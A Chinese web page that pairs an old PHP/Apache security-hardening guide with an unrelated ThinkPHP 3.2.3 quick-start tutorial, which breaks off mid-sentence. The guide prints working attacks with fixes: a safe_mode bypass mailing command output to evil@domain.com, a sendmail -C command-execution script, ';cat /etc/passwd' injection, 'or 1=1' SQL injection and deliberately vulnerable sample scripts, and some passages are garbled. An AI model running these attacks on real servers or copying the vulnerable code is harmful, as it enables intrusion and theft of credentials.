本文目錄一覽:
php安全配置 如何配置使其更安全
一、Web服務器安全
PHP其實不過是Web服務器的一個模塊功能,所以首先要保證Web服務器的安全。當然Web服務器要安全又必須是先保證系統安全,這樣就扯遠了,無窮無盡。PHP可以和各種Web服務器結合,這裡也只討論Apache。非常建議以chroot方式安裝啟動Apache,這樣即使Apache和PHP及其腳本出現漏洞,受影響的也只有這個禁錮的系統,不會危害實際系統。但是使用chroot的Apache後,給應用也會帶來一定的麻煩,比如連接mysql時必須用127.0.0.1地址使用tcp連接而不能用localhost實現socket連接,這在效率上會稍微差一點。還有mail函數發送郵件也是個問題,因為php.ini里的:
[mail function]
; For Win32 only.
SMTP = localhost
; For Win32 only.
sendmail_from = me@localhost.com
都是針對Win32平台,所以需要在chroot環境下調整好sendmail。
二、PHP本身問題
1、遠程溢出
PHP-4.1.2以下的所有版本都存在文件上傳遠程緩衝區溢出漏洞,而且攻擊程序已經廣泛流傳,成功率非常高:
2、遠程拒絕服務
PHP-4.2.0和PHP-4.2.1存在PHP multipart/form-data POST請求處理遠程漏洞,雖然不能獲得本地用戶權限,但是也能造成拒絕服務。
3、safe_mode繞過漏洞
還有PHP-4.2.2以下到PHP-4.0.5版本都存在PHP mail函數繞過safe_mode限制執行命令漏洞,4.0.5版本開始mail函數增加了第五個參數,由於設計者考慮不周可以突破safe_mode的限制執行命令。其中4.0.5版本突破非常簡單,只需用分號隔開後面加shell命令就可以了,比如存在PHP腳本evil.php:
? mail(“foo@bar,”foo”,”bar”,””,$bar); ?
執行如下的URL:
;/usr/bin/id|mail evil@domain.com
這將id執行的結果發送給evil@domain.com。
對於4.0.6至4.2.2的PHP突破safe_mode限制其實是利用了sendmail的-C參數,所以系統必須是使用sendmail。如下的代碼能夠突破safe_mode限制執行命令:
?
# 注意,下面這兩個必須是不存在的,或者它們的屬主和本腳本的屬主是一樣
$script=”/tmp/script123″;
$cf=”/tmp/cf123″;
$fd = fopen($cf, “w”);
fwrite($fd, “OQ/tmp
Sparse=0
R$*” . chr(9) . “$#local $@ $1 $: $1
Mlocal, P=/bin/sh, A=sh $script”);
fclose($fd);
$fd = fopen($script, “w”);
fwrite($fd, “rm -f $script $cf; “);
fwrite($fd, $cmd);
fclose($fd);
mail(“nobody”, “”, “”, “”, “-C$cf”);
?
還是使用以上有問題版本PHP的用戶一定要及時升級到最新版本,這樣才能消除基本的安全問題。
三、PHP本身的安全配置
PHP的配置非常靈活,可以通過php.ini, httpd.conf, .htaccess文件(該目錄必須設置了AllowOverride All或Options)進行設置,還可以在腳本程序里使用ini_set()及其他的特定的函數進行設置。通過phpinfo()和get_cfg_var()函數可以得到配置選項的各個值。
如果配置選項是唯一PHP_INI_SYSTEM屬性的,必須通過php.ini和httpd.conf來修改,它們修改的是PHP的Master值,但修改之後必須重啟apache才能生效。其中php.ini設置的選項是對Web服務器所有腳本生效,httpd.conf里設置的選項是對該定義的目錄下所有腳本生效。
如果還有其他的PHP_INI_USER, PHP_INI_PERDIR, PHP_INI_ALL屬性的選項就可以使用.htaccess文件設置,也可以通過在腳本程序自身用ini_set()函數設定,它們修改的是Local值,改了以後馬上生效。但是.htaccess只對當前目錄的腳本程序生效,ini_set()函數只對該腳本程序設置ini_set()函數以後的代碼生效。各個版本的選項屬性可能不盡相同,可以用如下命令查找當前源代碼的main.c文件得到所有的選項,以及它的屬性:
# grep PHP_INI_ /PHP_SRC/main/main.c
在討論PHP安全配置之前,應該好好了解PHP的safe_mode模式。
1、safe_mode
safe_mode是唯一PHP_INI_SYSTEM屬性,必須通過php.ini或httpd.conf來設置。要啟用safe_mode,只需修改php.ini:
safe_mode = On
或者修改httpd.conf,定義目錄:
Directory /var/www
Options FollowSymLinks
php_admin_value safe_mode 1
/Directory
重啟apache後safe_mode就生效了。啟動safe_mode,會對許多PHP函數進行限制,特別是和系統相關的文件打開、命令執行等函數。
所有操作文件的函數將只能操作與腳本UID相同的文件,比如test.php腳本的內容為:
?include(“index.html”)?
幾個文件的屬性如下:
# ls -la
total 13
drwxr-xr-x 2 root root 104 Jul 20 01:25 .
drwxr-xr-x 16 root root 384 Jul 18 12:02 ..
-rw-r–r– 1 root root 4110 Oct 26 2002 index.html
-rw-r–r– 1 www-data www-data 41 Jul 19 19:14 test.php
在瀏覽器請求test.php會提示如下的錯誤信息:
Warning: SAFE MODE Restriction in effect. The script whose uid/gid is 33/33 is not allowed to access ./index.html owned by uid/gid 0/0 in /var/www/test.php on line 1
如果被操作文件所在目錄的UID和腳本UID一致,那麼該文件的UID即使和腳本不同也可以訪問的,不知這是否是PHP的一個漏洞還是另有隱情。所以php腳本屬主這個用戶最好就只作這個用途,絕對禁止使用root做為php腳本的屬主,這樣就達不到safe_mode的效果了。
如果想將其放寬到GID比較,則打開 safe_mode_gid可以考慮只比較文件的GID,可以設置如下選項:
safe_mode_gid = On
設置了safe_mode以後,所有命令執行的函數將被限制只能執行php.ini里safe_mode_exec_dir指定目錄里的程序,而且shell_exec、`ls -l`這種執行命令的方式會被禁止。如果確實需要調用其它程序,可以在php.ini做如下設置:
safe_mode_exec_dir = /usr/local/php/exec
然後拷貝程序到該目錄,那麼php腳本就可以用system等函數來執行該程序。而且該目錄里的shell腳本還是可以調用其它目錄里的系統命令。
safe_mode_include_dir string
當從此目錄及其子目錄(目錄必須在 include_path 中或者用完整路徑來包含)包含文件時越過 UID/GID 檢查。
從 PHP 4.2.0 開始,本指令可以接受和 include_path 指令類似的風格用分號隔開的路徑,而不只是一個目錄。
指定的限制實際上是一個前綴,而非一個目錄名。這也就是說“safe_mode_include_dir = /dir/incl”將允許訪問“/dir/include”和“/dir/incls”,如果它們存在。如果您希望將訪問控制在一個指定的目錄,那麼請在結尾加上一個斜線,例如:“safe_mode_include_dir = /dir/incl/”。
safe_mode_allowed_env_vars string
設置某些環境變罧贍蓯喬痹詰陌踩?笨凇1局噶畎??幸桓齠漢歐指艫那白毫斜懟T詘踩?J較攏?沒е荒芨謀淠切┟?志哂性謖飫鍰峁┑那白旱幕肪潮淞俊D?杴榭魷攏?沒е荒萇柚靡?PHP_ 開頭的環境變量(例如 PHP_FOO = BAR)。
注: 如果本指令為空,PHP 將使用戶可以修改任何環境變量!
safe_mode_protected_env_vars string
本指令包含有一個逗號分隔的環境變量的列表,最終用戶不能用 putenv() 來改變這些環境變量。甚至在 safe_mode_allowed_env_vars 中設置了允許修改時也不能改變這些變量。
雖然safe_mode不是萬能的(低版本的PHP可以繞過),但還是強烈建議打開安全模式,在一定程度上能夠避免一些未知的攻擊。不過啟用safe_mode會有很多限制,可能對應用帶來影響,所以還需要調整代碼和配置才能和諧。被安全模式限制或屏蔽的函數可以參考PHP手冊。
討論完safe_mode後,下面結合程序代碼實際可能出現的問題討論如何通過對PHP服務器端的配置來避免出現的漏洞。
2、變量濫用
PHP默認register_globals = On,對於GET, POST, Cookie, Environment, Session的變罧梢災苯幼⒉岢扇?直淞俊K?塹淖⒉崴承蚴莢ariables_order = “EGPCS”(可以通過php.ini修改),同名變量variables_order右邊的覆蓋左邊,所以變量的濫用極易造成程序的混亂。而且腳本程序員往往沒有對變量初始化的習慣,像如下的程序片斷就極易受到攻擊:
?
//test_1.php
if ($pass == “hello”)
$auth = 1;
if ($auth == 1)
echo “some important information”;
else
echo “nothing”;
?
攻擊者只需用如下的請求就能繞過檢查:
這雖然是一個很弱智的錯誤,但一些著名的程序也有犯過這種錯誤,比如phpnuke的遠程文件拷貝漏洞
PHP-4.1.0發布的時候建議關閉register_globals,並提供了7個特殊的數組變量來使用各種變量。對於從GET、POST、COOKIE等來的變量並不會直接註冊成變量,必需通過數組變量來存取。PHP-4.2.0發布的時候,php.ini默認配置就是register_globals = Off。這使得程序使用PHP自身初始化的默認值,一般為0,避免了攻擊者控制判斷變量。
解決方法:
配置文件php.ini設置register_globals = Off。
要求程序員對作為判斷的變量在程序最開始初始化一個值。
3、文件打開
極易受攻擊的代碼片斷:
?
//test_2.php
if (!($str = readfile(“$filename”))) {
echo(“Could not open file: $filenameBR\n”);
exit;
}
else {
echo $str;
}
?
由於攻擊者可以指定任意的$filename,攻擊者用如下的請求就可以看到/etc/passwd:
如下請求可以讀php文件本身:
PHP中文件打開函數還有fopen(), file()等,如果對文件名變量檢查不嚴就會造成服務器重要文件被訪問讀取。
解決方法:
如非特殊需要,把php的文件操作限制在web目錄裡面。以下是修改apache配置文件httpd.conf的一個例子:
Directory /usr/local/apache/htdocs
php_admin_value open_basedir /usr/local/apache/htdocs
/Directory
重啟apache後,/usr/local/apache/htdocs目錄下的PHP腳本就只能操作它自己目錄下的文件了,否則PHP就會報錯:
Warning: open_basedir restriction in effect. File is in wrong directory in xxx on line xx.
使用safe_mode模式也能避免這種問題,前面已經討論過了。
4、包含文件
極易受攻擊的代碼片斷:
?
//test_3.php
if(file_exists($filename))
include(“$filename”);
?
這種不負責任的代碼會造成相當大的危害,攻擊者用如下請求可以得到/etc/passwd文件:
如果對於Unix版的PHP(Win版的PHP不支持遠程打開文件)攻擊者可以在自己開了http或ftp服務的機器上建立一個包含shell命令的文件,的內容是?passthru(“ls /etc”)?,那麼如下的請求就可以在目標主機執行命令ls /etc:
攻擊者甚至可以通過包含apache的日誌文件access.log和error.log來得到執行命令的代碼,不過由於干擾信息太多,有時不易成功。
對於另外一種形式,如下代碼片斷:
?
//test_4.php
include(“$lib/config.php”);
?
攻擊者可以在自己的主機建立一個包含執行命令代碼的config.php文件,然後用如下請求也可以在目標主機執行命令:
PHP的包含函數有include(), include_once(), require(), require_once。如果對包含文件名變量檢查不嚴就會對系統造成嚴重危險,可以遠程執行命令。
解決方法:
要求程序員包含文件里的參數盡量不要使用變量,如果使用變量,就一定要嚴格檢查要包含的文件名,絕對不能由用戶任意指定。
如前面文件打開中限制PHP操作路徑是一個必要的選項。另外,如非特殊需要,一定要關閉PHP的遠程文件打開功能。修改php.ini文件:
allow_url_fopen = Off
重啟apache。
5、文件上傳
php的文件上傳機制是把用戶上傳的文件保存在php.ini的upload_tmp_dir定義的臨時目錄(默認是系統的臨時目錄,如:/tmp)里的一個類似phpxXuoXG的隨機臨時文件,程序執行結束,該臨時文件也被刪除。PHP給上傳的文件定義了四個變量:(如form變量名是file,而且register_globals打開)
$file #就是保存到服務器端的臨時文件(如/tmp/phpxXuoXG )
$file_size #上傳文件的大小
$file_name #上傳文件的原始名稱
$file_type #上傳文件的類型
推薦使用:
$HTTP_POST_FILES[file][tmp_name]
$HTTP_POST_FILES[file][size]
$HTTP_POST_FILES[file][name]
$HTTP_POST_FILES[file][type]
這是一個最簡單的文件上傳代碼:
?
//test_5.php
if(isset($upload) $file != “none”) {
copy($file, “/usr/local/apache/htdocs/upload/”.$file_name);
echo “文件”.$file_name.”上傳成功!點擊a href=\”$PHP_SELF\”繼續上傳/a”;
exit;
}
?
html
head
title文件上傳/title
meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″
/head
body bgcolor=”#FFFFFF”
form enctype=”multipart/form-data” method=”post”
上傳文件:
input type=”file” name=”file” size=”30″
input type=”submit” name=”upload” value=”上傳”
/form
/body
/html
這樣的上傳代碼存在讀取任意文件和執行命令的重大問題。
下面的請求可以把/etc/passwd文檔拷貝到web目錄/usr/local/apache/htdocs/test(注意:這個目錄必須nobody可寫)下的attack.txt文件里:
… ile_name=attack.txt
然後可以用如下請求讀取口令文件:
攻擊者可以把php文件拷貝成其它擴展名,泄漏腳本源代碼。
攻擊者可以自定義form里file_name變量的值,上傳覆蓋任意有寫權限的文件。
攻擊者還可以上傳PHP腳本執行主機的命令。
解決方法:
PHP-4.0.3以後提供了is_uploaded_file和move_uploaded_file函數,可以檢查操作的文件是否是用戶上傳的文件,從而避免把系統文件拷貝到web目錄。
使用$HTTP_POST_FILES數組來讀取用戶上傳的文件變量。
嚴格檢查上傳變量。比如不允許是php腳本文件。
把PHP腳本操作限制在web目錄可以避免程序員使用copy函數把系統文件拷貝到web目錄。move_uploaded_file不受open_basedir的限制,所以不必修改php.ini里upload_tmp_dir的值。
把PHP腳本用phpencode進行加密,避免由於copy操作泄漏源碼。
嚴格配置文件和目錄的權限,只允許上傳的目錄能夠讓nobody用戶可寫。
對於上傳目錄去掉PHP解釋功能,可以通過修改httpd.conf實現:
Directory /usr/local/apache/htdocs/upload
php_flag engine off
#如果是php3換成php3_engine off
/Directory
重啟apache,upload目錄的php文件就不能被apache解釋了,即使上傳了php文件也沒有問題,只能直接顯示源碼。
6、命令執行
下面的代碼片斷是從PHPNetToolpack摘出,詳細的描述見:
?
//test_6.php
system(“traceroute $a_query”,$ret_strs);
?
由於程序沒有過濾$a_query變量,所以攻擊者可以用分號來追加執行命令。
攻擊者輸入如下請求可以執行cat /etc/passwd命令:
;cat /etc/passwd
PHP的命令執行函數還有system(), passthru(), popen()和“等。命令執行函數非常危險,慎用。如果要使用一定要嚴格檢查用戶輸入。
解決方法:
要求程序員使用escapeshellcmd()函數過濾用戶輸入的shell命令。
啟用safe_mode可以杜絕很多執行命令的問題,不過要注意PHP的版本一定要是最新的,小於PHP-4.2.2的都可能繞過safe_mode的限制去執行命令。
7、sql_inject
如下的SQL語句如果未對變量進行處理就會存在問題:
select * from login where user=$user and pass=$pass
攻擊者可以用戶名和口令都輸入1 or 1=1繞過驗證。
不過幸虧PHP有一個默認的選項magic_quotes_gpc = On,該選項使得從GET, POST, COOKIE來的變量自動加了addslashes()操作。上面SQL語句變成了:
select * from login where user=1\ or 1=\1 and pass=1\ or 1=\1
從而避免了此類sql_inject攻擊。
對於數字類型的字段,很多程序員會這樣寫:
select * from test where id=$id
由於變量沒有用單引號擴起來,就會造成sql_inject攻擊。幸虧MySQL功能簡單,沒有sqlserver等數據庫有執行命令的SQL語句,而且PHP的mysql_query()函數也只允許執行一條SQL語句,所以用分號隔開多條SQL語句的攻擊也不能奏效。但是攻擊者起碼還可以讓查詢語句出錯,泄漏系統的一些信息,或者一些意想不到的情況。
解決方法:
要求程序員對所有用戶提交的要放到SQL語句的變量進行過濾。
即使是數字類型的字段,變量也要用單引號擴起來,MySQL自己會把字串處理成數字。
在MySQL里不要給PHP程序高級別權限的用戶,只允許對自己的庫進行操作,這也避免了程序出現問題被 SELECT INTO OUTFILE … 這種攻擊。
8、警告及錯誤信息
PHP默認顯示所有的警告及錯誤信息:
error_reporting = E_ALL ~E_NOTICE
display_errors = On
在平時開發調試時這非常有用,可以根據警告信息馬上找到程序錯誤所在。
正式應用時,警告及錯誤信息讓用戶不知所措,而且給攻擊者泄漏了腳本所在的物理路徑,為攻擊者的進一步攻擊提供了有利的信息。而且由於自己沒有訪問到錯誤的地方,反而不能及時修改程序的錯誤。所以把PHP的所有警告及錯誤信息記錄到一個日誌文件是非常明智的,即不給攻擊者泄漏物理路徑,又能讓自己知道程序錯誤所在。
修改php.ini中關於Error handling and logging部分內容:
error_reporting = E_ALL
display_errors = Off
log_errors = On
error_log = /usr/local/apache/logs/php_error.log
然後重啟apache,注意文件/usr/local/apache/logs/php_error.log必需可以讓nobody用戶可寫。
9、disable_functions
如果覺得有些函數還有威脅,可以設置php.ini里的disable_functions(這個選項不能在httpd.conf里設置),比如:
disable_functions = phpinfo, get_cfg_var
可以指定多個函數,用逗號分開。重啟apache後,phpinfo, get_cfg_var函數都被禁止了。建議關閉函數phpinfo, get_cfg_var,這兩個函數容易泄漏服務器信息,而且沒有實際用處。
10、disable_classes
這個選項是從PHP-4.3.2開始才有的,它可以禁用某些類,如果有多個用逗號分隔類名。disable_classes也不能在httpd.conf里設置,只能在php.ini配置文件里修改。
11、open_basedir
前面分析例程的時候也多次提到用open_basedir對腳本操作路徑進行限制,這裡再介紹一下它的特性。用open_basedir指定的限制實際上是前綴,不是目錄名。也就是說 “open_basedir = /dir/incl” 也會允許訪問 “/dir/include” 和 “/dir/incls”,如果它們存在的話。如果要將訪問限制在僅為指定的目錄,用斜線結束路徑名。例如:”open_basedir = /dir/incl/”。
可以設置多個目錄,在Windows中,用分號分隔目錄。在任何其它系統中用冒號分隔目錄。作為Apache模塊時,父目錄中的open_basedir路徑自動被繼承。
四、其它安全配置
1、取消其它用戶對常用、重要系統命令的讀寫執行權限
一般管理員維護只需一個普通用戶和管理用戶,除了這兩個用戶,給其它用戶能夠執行和訪問的東西應該越少越好,所以取消其它用戶對常用、重要系統命令的讀寫執行權限能在程序或者服務出現漏洞的時候給攻擊者帶來很大的迷惑。記住一定要連讀的權限也去掉,否則在linux下可以用/lib/ld-linux.so.2 /bin/ls這種方式來執行。
如果要取消某程如果是在chroot環境里,這個工作比較容易實現,否則,這項工作還是有些挑戰的。因為取消一些程序的執行權限會導致一些服務運行不正常。PHP的mail函數需要/bin/sh去調用sendmail發信,所以/bin/bash的執行權限不能去掉。這是一項比較累人的工作,
2、去掉apache日誌其它用戶的讀權限
apache的access-log給一些出現本地包含漏洞的程序提供了方便之門。通過提交包含PHP代碼的URL,可以使access-log包含PHP代碼,那麼把包含文件指向access-log就可以執行那些PHP代碼,從而獲得本地訪問權限。
如果有其它虛擬主機,也應該相應去掉該日誌文件其它用戶的讀權限。
當然,如果你按照前面介紹的配置PHP那麼一般已經是無法讀取日誌文件了。
本人新手,剛安裝thinkphp,怎麼不成功
快速入門(一):基礎
簡介
ThinkPHP是一個快速、簡單的基於MVC和面向對象的輕量級PHP開發框架,遵循Apache2開源協議發布,從誕生以來一直秉承簡潔實用的設計原則,在保持出色的性能和至簡的代碼的同時,尤其注重開發體驗和易用性,並且擁有眾多的原創功能和特性,為WEB應用開發提供了強有力的支持。
本快速入門教程針對3.2.3最新版本製作,雖然大部分特性3.2版本同樣存在,但是強烈建議你使用3.2.3版本來學習本入門教程。
下載
ThinkPHP最新版本可以在官方網站()下載。
最新的3.2.3版本下載地址:。
如果你希望保持最新的更新,可以通過github獲取當前最新的版本(完整版)。
Git獲取地址列表(你可以選擇一個最快的地址):
Github:
Oschina:
Code:
Coding:
目錄結構
把下載後的壓縮文件解壓到你的WEB目錄(或者任何子目錄都可以),框架的目錄結構為:
www WEB部署目錄(或者子目錄)
├─index.php 入口文件
├─README.md README文件
├─composer.json Composer定義文件
├─Application 應用目錄
├─Public 資源文件目錄
└─ThinkPHP 框架目錄
3.2版本開始相比之前的版本自帶了一個完整的應用目錄結構(Application)和默認的應用入口文件(index.php),開發人員可以在這個基礎之上靈活調整(目錄名稱和位置)。其中,Application和Public目錄下面都是空的,而README.md和composer.josn文件僅用於說明,實際部署的時候可以刪除。
其中,ThinkPHP為框架核心目錄,其目錄結構如下:
├─ThinkPHP 框架系統目錄(可以部署在非web目錄下面)
│ ├─Common 核心公共函數目錄
│ ├─Conf 核心配置目錄
│ ├─Lang 核心語言包目錄
│ ├─Library 框架類庫目錄
│ │ ├─Think 核心Think類庫包目錄
│ │ ├─Behavior 行為類庫目錄
│ │ ├─Org Org類庫包目錄
│ │ ├─Vendor 第三方類庫目錄
│ │ ├─ … 更多類庫目錄
│ ├─Mode 框架應用模式目錄
│ ├─Tpl 系統模板目錄
│ ├─LICENSE.txt 框架授權協議文件
│ ├─logo.png 框架LOGO文件
│ ├─README.txt 框架README文件
│ └─index.php 框架入口文件
框架核心目錄的結構無需改變,但框架的目錄名稱(ThinkPHP)可以在應用入口文件中隨意更改。
入口文件
在開始之前,你需要一個Web服務器和PHP運行環境,如果你暫時還沒有,我們推薦使用集成開發環境WAMPServer(是一個集成了Apache、PHP和MySQL的開發套件,而且支持多個PHP版本、MySQL版本和Apache版本的切換)來使用ThinkPHP進行本地開發和測試。
3.2版本開始框架自帶了一個應用入口文件,默認內容如下:
define(‘APP_PATH’,’./Application/’);require ‘./ThinkPHP/ThinkPHP.php’;
這段代碼的作用就是定義應用目錄和加載ThinkPHP框架的入口文件,這是所有基於ThinkPHP開發應用的第一步。
然後,在瀏覽器中訪問運行後我們會看到歡迎頁面:
當你看到這個歡迎頁面的時候,系統已經在Application目錄下面自動生成了公共模塊Common、默認模塊Home和Runtime運行時目錄,如下所示:
Application├─Common 應用公共模塊
│ ├─Common 應用公共函數目錄
│ └─Conf 應用公共配置文件目錄
├─Home 默認生成的Home模塊
│ ├─Conf 模塊配置文件目錄
│ ├─Common 模塊函數公共目錄
│ ├─Controller 模塊控制器目錄
│ ├─Model 模塊模型目錄
│ └─View 模塊視圖文件目錄
├─Runtime 運行時目錄
│ ├─Cache 模版緩存目錄
│ ├─Data 數據目錄
│ ├─Logs 日誌目錄
│ └─Temp 緩存目錄模塊設計
3.2版本採用模塊化的設計架構,下面是一個典型的模塊目錄結構,每個模塊可以方便的卸載和部署,並且支持公共模塊(Runtime目錄非模塊目錄)。
Application 默認應用目錄(可以設置)
├─Common 公共模塊(不能直接訪問)
├─Home 前台模塊
├─Admin 後台模塊
├─… 其他更多模塊
├─Runtime 默認運行時目錄(可以設置)每個模塊是相對獨立的,其目錄結構如下:
├─Module 模塊目錄
│ ├─Conf 配置文件目錄
│ ├─Common 公共函數目錄
│ ├─Controller 控制器目錄
│ ├─Model 模型目錄
│ ├─Logic 邏輯目錄(可選)
│ ├─Service 服務目錄(可選)
│ … 更多分層目錄可選
│ └─View 視圖目錄
由於採用多層的MVC機制,除了Conf和Common目錄外,每個模塊下面的目錄結構可以根據需要靈活設置和添加,所以並不拘泥於上面展現的目錄。
如果我要添加新的模塊,有沒有快速生成模塊目錄結構的辦法呢?只需要在入口文件中添加如下定義(假設要生成Admin模塊):
define(‘APP_PATH’,’./Application/’);// 綁定入口文件到Admin模塊訪問define(‘BIND_MODULE’,’Admin’);require ‘./ThinkPHP/ThinkPHP.php’;
BIND_MODULE常量定義表示綁定入口文件到某個模塊,由於並不存在Admin模塊,所以會在第一次訪問的時候自動生成。重新訪問入口文件後,就會再次看到歡迎頁面,這個時候在Application下面已經自動生成了Admin模塊及其目錄結構。
注意:生成以後,你需要刪除(或者注釋掉)剛才添加的那段常量定義才能正常訪問Home模塊,否則就只能訪問Admin模塊(因為應用入口中已經綁定了Admin模塊)。
define(‘APP_PATH’,’./Application/’);// 注釋掉綁定模塊的定義// define(‘BIND_MODULE’,’Admin’);require ‘./ThinkPHP/ThinkPHP.php’;
有些情況下,我們需要更改應用目錄、運行時目錄和框架的位置,那麼可以修改入口文件如下:
// 定義應用目錄define(‘APP_PATH’,’./Apps/’);
// 定義運行時目錄define(‘RUNTIME_PATH’,’./Runtime/’);
// 更名框架目錄名稱,並載入框架入口文件require ‘./Think/ThinkPHP.php’;
這樣最終的應用目錄結構如下:
www WEB部署目錄(或者子目錄)
├─index.php 應用入口文件
├─Apps 應用目錄
├─Public 資源文件目錄
├─Runtime 運行時目錄
└─Think 框架目錄
調試模式
ThinkPHP支持調試模式,默認情況下是運行在部署模式下面。部署模式下面性能優先,並且儘可能少地拋出錯誤信息,調試模式則以除錯方便優先,關閉任何緩存,而且儘可能多的拋出錯誤信息,所以對性能有一定的影響。
部署模式採用了項目編譯機制,第一次運行會對核心和項目相關文件進行編譯緩存,由於編譯後會影響開發過程中對配置文件、函數文件和數據庫修改的生效(除非你修改後手動清空Runtime下面的緩存文件)。因此為了避免以上問題,我們強烈建議新手在使用ThinkPHP開發的過程中使用調試模式,這樣可以更好的獲取錯誤提示和避免一些不必要的問題和煩惱。
開啟調試模式很簡單,我們只需要在入口文件的開頭加上一行常量定義代碼:
define(‘APP_DEBUG’, true); // 開啟調試模式
define(‘APP_PATH’,’./Application/’);
require ‘./ThinkPHP/ThinkPHP.php’;
開發完成後,我們實際進行項目部署的時候,刪除這行常量定義代碼即可,或者改成:
define(‘APP_DEBUG’,false); // 關閉調試模式
define(‘APP_PATH’,’./Application/’);
require ‘./ThinkPHP/ThinkPHP.php’;
為了安全考慮,避免泄露你的服務器WEB目錄信息等資料,一定記得正式部署的時候關閉調試模式。
配置
每個應用模塊都有獨立的配置文件(位於模塊目錄的Conf/config.php),配置文件的定義格式支持PHP/JSON/YAML/INI/XML等方式,默認採用PHP數組定義,例如:
// 配置文件
return array(
‘配置參數’ = ‘配置值’, // 更多配置參數
//…);
如果你需要為各個模塊定義公共的配置文件,可以在公共模塊中定義(通常位於 Common/Conf/config.php),定義格式是一樣。
一旦有需要,我們就可以在配置文件中添加相關配置項目。通常我們提到的添加配置項目,就是指在項目配置文件中添加:
‘配置參數’=’配置值’,
配置值可以支持包括字符串、數字、布爾值和數組在內的數據,通常我們建議配置參數均使用大寫定義。
如果有需要,我們還可以為項目定義其他類型的配置文件,如果要使用其他格式的配置文件,可以在入口文件中定義CONF_EXT常量即可,例如:
define(‘CONF_EXT’,’.ini’);
這樣,模塊的配置文件就變成了 Conf/config.ini,定義格式如下:
DEFAULT_MODULE = Index ;默認模塊URL_MODEL = 2 ;URL模式
更多的配置定義請參考後續的內容。
控制器
需要為每個控制器定義一個控制器類,控制器類的命名規範是:
控制器名+Controller.class.php (模塊名採用駝峰法並且首字母大寫)
系統的默認控制器是Index,對應的控制器就是模塊目錄下面的Controller/IndexController.class.php,類名和文件名一致。默認操作是index,也就是控制器的一個public方法。初次生成項目目錄結構的時候,系統已經默認生成了一個默認控制器(就是之前看到的歡迎頁面),我們把index方法改成下面的代碼:
?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller
{
public function index(){
echo ‘hello,thinkphp!’;
}
}
再次訪問入口文件的時候,在瀏覽器中看到默認的歡迎頁面已經改成如下輸出:
hello,thinkphp!
可以為操作方法定義參數,例如:
?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function hello($name=’thinkphp’){
echo ‘hello,’.$name.’!’;
}
}
當我們帶name參數訪問入口文件地址(例如 )的時候,在瀏覽器中可以看到如下輸出:
hello,baby!
一個模塊可以包括多個操作方法,但如果你的操作方法是protected或者private類型的話,是無法直接通過URL訪問到該操作的。
我們修改Index控制器類的方法如下:
?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function hello(){
echo ‘hello,thinkphp!’;
}
public function test(){
echo ‘這是一個測試方法!’;
}
protected function hello2(){
echo ‘只是protected方法!’;
}
private function hello3(){
echo ‘這是private方法!’;
}
}
當我們訪問hello2和hello3操作方法後的結果都會顯示非法操作:
URL請求
ThinkPHP採用單一入口模式訪問應用,對應用的所有請求都定向到應用的入口文件,系統會從URL參數中解析當前請求的模塊、控制器和操作,下面是一個標準的URL訪問格式:
模塊/控制器/操作
如果我們直接訪問入口文件的話,由於URL中沒有模塊、控制器和操作,因此系統會訪問默認模塊(Home)下面的默認控制器(Index)的默認操作(index),因此下面的訪問是等效的:
這種URL模式就是系統默認的PATHINFO模式,不同的URL模式獲取模塊和操作的方法不同,ThinkPHP支持的URL模式有四種:普通模式、PATHINFO、REWRITE和兼容模式。
1 普通模式
普通模式也就是使用傳統的GET傳參方式來指定當前訪問的模塊、控制器和操作,例如:
;c=indexa=helloname=thinkphp
m參數表示模塊,c表示控制器,a表示操作(當然,這些參數名是可以配置的),後面的表示其他GET參數。
默認值可以不傳,因此下面的URL訪問是和上面的等效:
;name=thinkphp
2 PATHINFO模式
PATHINFO模式是系統的默認URL模式,提供了最好的SEO支持,系統內部已經做了環境的兼容處理,所以能夠支持大多數的主機環境。
對應上面的URL模式,PATHINFO模式下面的URL訪問地址是:
PATHINFO地址的前三個參數分別表示模塊/控制器/操作。
PATHINFO模式下面,也可以用普通模式的參數方式傳入參數,例如:
PATHINFO模式下面,URL參數分隔符是可定製的,例如,通過下面的配置:
‘URL_PATHINFO_DEPR’=’-‘,// 更改PATHINFO參數分隔符
我們可以支持下面的URL訪問:
3 REWRITE模式
REWRITE模式是在PATHINFO模式的基礎上添加了重寫規則的支持,可以去掉URL地址裡面的入口文件index.php,但是需要額外配置WEB服務器的重寫規則。
如果是Apache則需要在入口文件的同級添加.htaccess文件,內容如下:
IfModule mod_rewrite.cRewriteEngine onRewriteCond %{REQUEST_FILENAME} !-dRewriteCond %{REQUEST_FILENAME} !-fRewriteRule ^(.*)$ index.php/$1 [QSA,PT,L]/IfModule
接下來就可以使用下面的URL地址訪問了
4 兼容模式
兼容模式是用於不支持PATHINFO的特殊環境,URL地址是:
兼容模式配合Web服務器重寫規則的定義,可以達到和REWRITE模式一樣的URL效果。
視圖
ThinkPHP內置了一個編譯型模板引擎,也支持原生的PHP模板,並且還提供了包括Smarty在內的模板引擎驅動。和Smarty不同,ThinkPHP在渲染模板的時候如果不指定模板,則會採用系統默認的定位規則,其定義規範默認是模塊目錄下面的 View/控制器名/操作名.html,所以,Index模塊的hello操作的默認模板文件位於Home模塊目錄下面的View/Index/hello.html,我們添加模板內容如下:
htmlheadtitlehello {$name}/title/headbody
hello, {$name}!/body/html
要輸出視圖,必須在控制器方法中進行模板渲染輸出操作,例如:
?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function hello($name=’thinkphp’){
$this-assign(‘name’,$name);
$this-display();
}
}
display方法中我們沒有指定任何模板,所以按照系統默認的規則輸出了Index/hello.html模板文件。
接下來,我們在瀏覽器訪問輸出:
hello,thinkphp!
讀取數據
在開始之前,我們首先在數據庫thinkphp中創建一個think_data數據表(以mysql數據庫為例):
CREATE TABLE IF NOT EXISTS `think_data`(
`id`int(8)unsigned NOT NULL AUTO_INCREMENT,
`data` varchar(255) NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 ;
INSERT INTO `think_data`(`id`,`data`) VALUES
(1,’thinkphp’),
(2,’php’),
(3,’framework’);
如果我們需要讀取數據庫中的數據,就需要在模塊配置文件中添加數據庫連接信息如下:
